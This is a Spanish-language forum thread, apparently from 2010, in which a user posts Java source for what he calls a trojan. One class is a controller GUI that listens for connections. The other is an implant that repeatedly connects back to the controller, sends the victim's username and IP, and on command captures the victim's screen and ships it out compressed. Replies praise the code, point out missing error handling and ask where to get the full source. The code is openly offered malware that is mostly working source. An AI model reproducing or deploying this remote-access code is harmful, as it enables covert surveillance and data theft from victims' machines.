un ejemplo de troyano en java

Iniciado por AngelCruel, 19 Julio 2010, 08:30 AM

0 Miembros y 1 Visitante están viendo este tema.

AngelCruel


Esta es la clase principal del cliente:

Código (java) [Seleccionar]
[co]deimport java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
import javax.swing.*;
import javax.swing.border.LineBorder;
import javax.swing.border.TitledBorder;
import javax.swing.table.*;

public class cliente extends JFrame implements Runnable, ActionListener {

   JPopupMenu menuContextual;
   static DefaultTableModel model;
   static JTable table;
   JButton ver;
   boolean ok = true;
   String[][] datosEquipos = new String[0][0];
   String[] tituloTable = new String[]{"Nombre Maquina", "IP", "Nombre de Usuario", "Puerto"};
   int indice, numeropuerto = 3277;
   String tip;
   JPanel panel, botones;
   JTextArea info = new JTextArea(4, 4);
   JButton Puerto;
   private RecursoClientes recurso;
   private Socket cliente;
   private ServerSocket servidor;
   private ObjectOutputStream salida;
   private ObjectInputStream entrada;
   private String nombre;
   private boolean conectado = false;
   Ingreso ingreso;

   public cliente() {
       ingreso = new Ingreso();
       ingreso.addWindowListener(new cerrar(this));
       ingreso.aceptar.addActionListener(this);
       ingreso.cancelar.addActionListener(this);
       ingreso.tcontraseña.setText("xxx");
       crearServidor();

       crearPanel();
       setTitle("Cliente");
       setSize(540, 380);
       setLocationRelativeTo(null);

       model = new DefaultTableModel(datosEquipos, tituloTable);
       table = new JTable(model);
       table.setSelectionMode(0);
       add(table, BorderLayout.CENTER);
       ver = new JButton("Ver escritorio");
       ver.addActionListener(this);
       Puerto.addActionListener(this);

       menuContextual = new JPopupMenu();
       menuContextual.add(ver);

       table.addMouseListener(
               new MouseAdapter() {  // clase interna anónima
                   // manejar evento de oprimir botón del ratón

                   public void mousePressed(MouseEvent evento) {
                       checkForTriggerEvent(evento);
                   }

                   // manejar evento de soltar el botón del ratón
                   public void mouseReleased(MouseEvent evento) {
                       int row = table.rowAtPoint(evento.getPoint());
                       System.out.println(row);
                       if (row != -1) {
                           table.changeSelection(row, 0, false, false);
                           checkForTriggerEvent(evento);
                       } else {
                           try {
                               table.clearSelection();
                               checkForTriggerEvent(null);
                           } catch (Exception ex) {
                               System.out.println("No a seleccionado nada");
                           }
                       }
                       indice = row;
                   }

                   // determinar si evento debe desencadenar el menú contextual
                   private void checkForTriggerEvent(MouseEvent evento) {
                       if (evento.isPopupTrigger()) {
                           menuContextual.show(evento.getComponent(), evento.getX(), evento.getY());
                       }
                   }
               } // fin de la clase interna anónima
               );

       setDefaultCloseOperation(this.EXIT_ON_CLOSE);
       setVisible(true);
   }

   public void crearServidor() {
       try {
           recurso = RecursoClientes.getInstance();
           servidor = new ServerSocket(numeropuerto);
       } catch (UnknownHostException ex) {
           ex.printStackTrace();
       } catch (IOException ex) {
           ex.printStackTrace();
       }
   }

   public void crearPanel() {
       Puerto = new JButton("Puerto");
       panel = new JPanel(new BorderLayout());
       FlowLayout flow = new FlowLayout();
       flow.setAlignment(FlowLayout.LEFT);
       botones = new JPanel(flow);
       panel.add("North", new JScrollPane(info));
       TitledBorder border = new TitledBorder(new LineBorder(Color.black), "", TitledBorder.RIGHT, TitledBorder.BOTTOM);
       panel.add("Center", new JSeparator());
       panel.add("South", botones);
       botones.add(Puerto);
       add(panel, BorderLayout.SOUTH);
   }

   public void run() {
       while (true) {
           info.append("\nEcuchando en el puerto: " + numeropuerto);
           try {
               info.append("\nEsperando un cliente");
               cliente = servidor.accept();
               info.append("\nIngreso un cliente");
           } catch (IOException ex) {
               //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
               info.append("Ha ocurrido un error recibiendo la conexion con el cliente.\n");
               info.append("Este programa se cerrara ...\n");
               System.exit(1);
           }
           try {
               salida = new ObjectOutputStream(cliente.getOutputStream());
               salida.flush();
               entrada = new ObjectInputStream(cliente.getInputStream());
               nombre = (String) entrada.readObject();

               info.append("\nRecibido: " + nombre);

               if (nombre.equals("Nuevo")) {
                   this.setFocusable(false);
                   ingreso.setVisible(true);
                   do {
                       Thread.sleep(1000);
                   } while (ok);
               }
               if (!ok) {
                   nombre = (String) entrada.readObject();
               }
               salida.writeObject((Object) "xxx");
               Object[] newRow = {nombre, (String) entrada.readObject(), tip = (String) entrada.readObject()};
               model.addRow(newRow);
               conectado = true;
           } catch (Exception e) {
               //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
               conectado = false;
           }

           if (conectado) {
               ManejadorCliente manejador = new ManejadorCliente(cliente, entrada, salida);
               manejador.setNombre(nombre);
               manejador.setIP(tip);
               this.addManejadorCliente(manejador);
               manejador.start();
               info.append("El cliente " + nombre + " se ha conectado.\n");
               info.append("Numero de clientes: " + recurso.size() + "\n");
           }
       }
   }

   public void actionPerformed(ActionEvent e) {
       if (e.getSource() == ver) {
           menuContextual.setVisible(false);
           ManejadorCliente manejador = recurso.getManejadorCliente(indice);
           manejador.Mensaje(1);
       }
       if (e.getSource() == ingreso.aceptar) {
           ok = false;
           ingreso.setVisible(false);
           try {
               salida.writeObject((Object) ingreso.tcontraseña.getText());
               salida.writeObject((Object) ingreso.tnombre.getText());
           } catch (IOException ex) {
               ex.printStackTrace();
           }
       }
       if (e.getSource() == Puerto) {
           numeropuerto = Integer.valueOf(JOptionPane.showInputDialog(this, "Ingrese el nuevo Puerto:", "Cambiar Puerto", JOptionPane.INFORMATION_MESSAGE));
           //cliente();
       }
   }

   private void addManejadorCliente(ManejadorCliente manejador) {
       recurso.addManejadorCliente(manejador);
   }

   @Override
   public void finalize() {
   }

   public static void eliminarMaq(String nombre, String ip) {
       for (int i = 0; i <= model.getRowCount() - 1; i++) {
           if (model.getValueAt(i, 0).equals(nombre) && model.getValueAt(i, 2).equals(ip)) {
               model.removeRow(i);
               break;
           }
       }
   }

   public static void main(String args[]) {
       cliente c = new cliente();
       Thread hilo = new Thread(c);
       hilo.start();
   }

   class cerrar extends WindowAdapter {

       Frame oframe;

       public cerrar(Frame miframe) {
           oframe = miframe;
       }

       public void windowClosing(WindowEvent ev) {
           oframe.setVisible(false);
       }
   }
}


y esta es la clase principal del servidor:

Código (java) [Seleccionar]


import java.awt.*;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.*;
import java.util.zip.*;
import javax.imageio.*;

public class svd implements Runnable {

    String ipExterna = "0.0.0.0";
    Properties pro;
    Scanner scanner;
    Formatter archivo;
    int opc = 0;
    String ip = "localhost", pass = "xxx";
    private boolean conectado = false;
    private Thread hilo;
    Socket soc;
    ObjectOutputStream output;
    ObjectInputStream input;

    public void conectar() {
        try {
            soc = new Socket(ip, 3277);
            output = new ObjectOutputStream(soc.getOutputStream());
            output.flush();
            input = new ObjectInputStream(soc.getInputStream());
            conectado = true;
        } catch (IOException ex) {
            System.out.println("Error al conectar");
            conectado = false;
        }
    }

    public svd() {
        pro = System.getProperties();
        hilo = new Thread(this);
        hilo.start();
    }

    public void run() {
        while (true) {
            conectar();
            if (conectado) {
                try {
                    try {
                        scanner = new Scanner(new File("nombre.txt"));
                    } catch (FileNotFoundException ex) {
                        enviar((Object) "Nuevo");
                        String s = null;
                        while (true) {
                            s = (String) input.readObject();
                            if (s.equals(pass)) {
                                break;
                            }
                        }
                        archivo = new Formatter("nombre.txt");
                        archivo.format("%s", (String) input.readObject());
                        archivo.flush();
                        archivo = null;
                    }
                    scanner = new Scanner(new File("nombre.txt"));
                    enviar((Object) scanner.next());
                    String by;
                    while (true) {
                        by = (String) input.readObject();
                        if (by.equals(pass)) {
                            break;
                        }
                    }
                    enviar((Object) pro.getProperty("user.name"));
                    enviar((Object) ipExterna);

                    int salir = 0;
                    do {
                        try {
                            opc = (Integer) input.readObject();
                            switch (opc) {
                                case 1:
                                    output.writeObject((Object) 1);
                                    Rectangle rectangleTam = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
                                    try {
                                        Robot robot = new Robot();
                                        BufferedImage bufferedImage = robot.createScreenCapture(rectangleTam);
                                        ByteArrayOutputStream salidaImagen = new ByteArrayOutputStream();
                                        ImageIO.write(bufferedImage, "jpg", salidaImagen);
                                        byte[] bytesImagen = salidaImagen.toByteArray();

                                        GZIPOutputStream gzipout = new GZIPOutputStream(soc.getOutputStream());
                                        ObjectOutputStream oos = new ObjectOutputStream(gzipout);
                                        oos.writeObject(bytesImagen);
                                        gzipout.finish();
                                    } catch (AWTException e) {
                                        e.printStackTrace();
                                    } // procesar los problemas que pueden ocurrir al enviar el objeto
                                    catch (IOException io) {
                                        io.printStackTrace();
                                    }
                                    break;
                                case 10:
                                    salir = 10;
                                    break;
                            }
                        } catch (NumberFormatException ev) {
                            ev.printStackTrace();
                            break;
                        } catch (ClassCastException ec) {
                            ec.printStackTrace();
                            break;
                        }
                    } while (salir != 10);

                } catch (Exception e) {
                    e.printStackTrace();
                    try {
                        output.close();
                        input.close();
                        soc.close();
                    } catch (IOException ex) {
                        ex.printStackTrace();
                    }
                }
            }

            try {
                hilo.sleep(3000);
            } catch (InterruptedException ex) {
                ex.printStackTrace();
            }
        }
    }

    public void enviar(Object ob) {
        try {
            output.writeObject(ob);
            output.flush();
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }

    /*public static void main(String args[]) {
    new svd();
    }*/
    @Override
    public void finalize() {
        try {
            input.close();
            output.close();
            soc.close();

        } catch (IOException ex) {
            //Logger.getLogger(Orquestador.class.getName()).log(Level.SEVERE, null, ex);
            ex.printStackTrace();
            input = null;
            output = null;
            soc = null;
        }
        hilo = null;
    }
}


para el codigo completo esta en: http://sourceforge.net/projects/adsocks/

Debci

Muy bueno te lo indexaré en el indice de temas interesnates en cuanto tenga un momento.

Esperamos verte mas por aqui :)

Saludos

Leyer

Funciona bien, pero te falta manejar muchos errores que se pueden producir, ;)  ademas de validar si ejecuto el server 2 veces, este no deberia agregarse.

Sigue así
Un saludo.

Debci

Cita de: LEYER en 19 Julio 2010, 15:43 PM
Funciona bien, pero te falta manejar muchos errores que se pueden producir, ;)  ademas de validar si ejecuto el server 2 veces, este no deberia agregarse.

Sigue así
Un saludo.
Ademas de estar escaso de funcionalidades, pero es la base sencilla de sockets en cliente-servidor.

Saludos

Aeros


alzehimer_cerebral

#5
Citar
para el codigo completo esta en: http://sourceforge.net/projects/adsocks/

En el enlace solo esta la parte cliente, donde puedo encontrar la parte servidor completa??

Salu2.

alzehimer_cerebral
Servicios Informaticos Valencia - www.ag-solutions.es
Mi blog - www.alvarogarciasolano.com

Debci

Cita de: alzehimer_cerebral en  4 Agosto 2010, 22:33 PM
Citar
para el codigo completo esta en: http://sourceforge.net/projects/adsocks/

En el enlace solo esta la parte cliente, donde puedo encontrar la parte servidor completa??

Salu2.

alzehimer_cerebral
Ayer mismo lo descargue todo, revisa los archivos del repo :)

Saludos

alzehimer_cerebral

Okis error mio.

Gracias.

alzehimer_cerebral
Servicios Informaticos Valencia - www.ag-solutions.es
Mi blog - www.alvarogarciasolano.com

vivachapas

buena info!.. ni bien afloje un poco la facu me lo "estudio" jaja

gracias por el aporte!

kronos30

bueno la verda estoy aprendiendo en java el programa lo descargue pero solo muestra el ejecutable hay una forma de podeer ver bien al cod fuente gracias por el aporte